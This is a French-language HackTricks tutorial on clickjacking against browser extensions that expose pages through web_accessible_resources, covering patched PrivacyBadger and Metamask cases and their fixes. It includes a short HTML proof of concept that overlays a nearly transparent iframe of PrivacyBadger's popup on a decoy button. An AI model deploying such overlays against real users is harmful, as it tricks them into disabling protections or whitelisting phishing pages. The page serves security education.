7.7 KiB
BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informations de base
Cette page va exploiter une vulnérabilité de ClickJacking dans une extension de navigateur.
Si vous ne savez pas ce qu'est le ClickJacking, consultez :
{% content-ref url="../clickjacking.md" %} clickjacking.md {% endcontent-ref %}
Les extensions contiennent le fichier manifest.json
et ce fichier JSON a un champ web_accessible_resources
. Voici ce que disent les docs de Chrome à ce sujet :
Ces ressources seraient alors disponibles dans une page web via l'URL
chrome-extension://[PACKAGE ID]/[PATH]
, qui peut être générée avec laextension.getURL method
. Les ressources autorisées sont servies avec des en-têtes CORS appropriés, donc elles sont disponibles via des mécanismes comme XHR.1
Les web_accessible_resources
dans une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent également avec les privilèges inhérents de l'extension. Cela signifie qu'elles ont la capacité de :
- Changer l'état de l'extension
- Charger des ressources supplémentaires
- Interagir avec le navigateur dans une certaine mesure
Cependant, cette fonctionnalité présente un risque de sécurité. Si une ressource dans web_accessible_resources
a une fonctionnalité significative, un attaquant pourrait potentiellement intégrer cette ressource dans une page web externe. Les utilisateurs non méfiants visitant cette page pourraient activer involontairement cette ressource intégrée. Une telle activation pourrait entraîner des conséquences inattendues, en fonction des autorisations et des capacités des ressources de l'extension.
Exemple PrivacyBadger
Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée liée au répertoire skin/
étant déclaré comme web_accessible_resources
de la manière suivante (Consultez le post de blog original) :
"web_accessible_resources": [
"skin/*",
"icons/*"
]
Cette configuration a conduit à un problème de sécurité potentiel. Plus précisément, le fichier skin/popup.html
, qui est rendu lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un iframe
. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection PrivacyBadger et en soumettant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être vue dans un exemple vidéo de ClickJacking fourni à https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm.
Pour remédier à cette vulnérabilité, une solution simple a été mise en œuvre : la suppression de /skin/*
de la liste des web_accessible_resources
. Ce changement a efficacement atténué le risque en veillant à ce que le contenu du répertoire skin/
ne puisse pas être accessible ou manipulé via des ressources accessibles sur le web.
La solution était simple : supprimer /skin/*
des web_accessible_resources
.
PoC
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
float: top;
position: absolute;
}
button {
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
Exemple Metamask
Un article de blog sur un ClickJacking dans metamask peut être trouvé ici. Dans ce cas, Metamask a corrigé la vulnérabilité en vérifiant que le protocole utilisé pour y accéder était https:
ou http:
(pas chrome:
par exemple) :
Un autre ClickJacking corrigé dans l'extension Metamask était que les utilisateurs pouvaient Cliquer pour ajouter à la liste blanche lorsqu'une page était suspecte d'être un phishing à cause de “web_accessible_resources”: [“inpage.js”, “phishing.html”]
. Comme cette page était vulnérable au Clickjacking, un attaquant pouvait en abuser en montrant quelque chose de normal pour amener la victime à cliquer pour l'ajouter à la liste blanche sans s'en rendre compte, puis revenir à la page de phishing qui sera ajoutée à la liste blanche.
Exemple Steam Inventory Helper
Vérifiez la page suivante pour voir comment un XSS dans une extension de navigateur a été enchaîné avec une vulnérabilité ClickJacking :
{% content-ref url="browext-xss-example.md" %} browext-xss-example.md {% endcontent-ref %}
Références
- https://blog.lizzie.io/clickjacking-privacy-badger.html
- https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9
{% hint style="success" %}
Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR aux HackTricks et HackTricks Cloud dépôts github.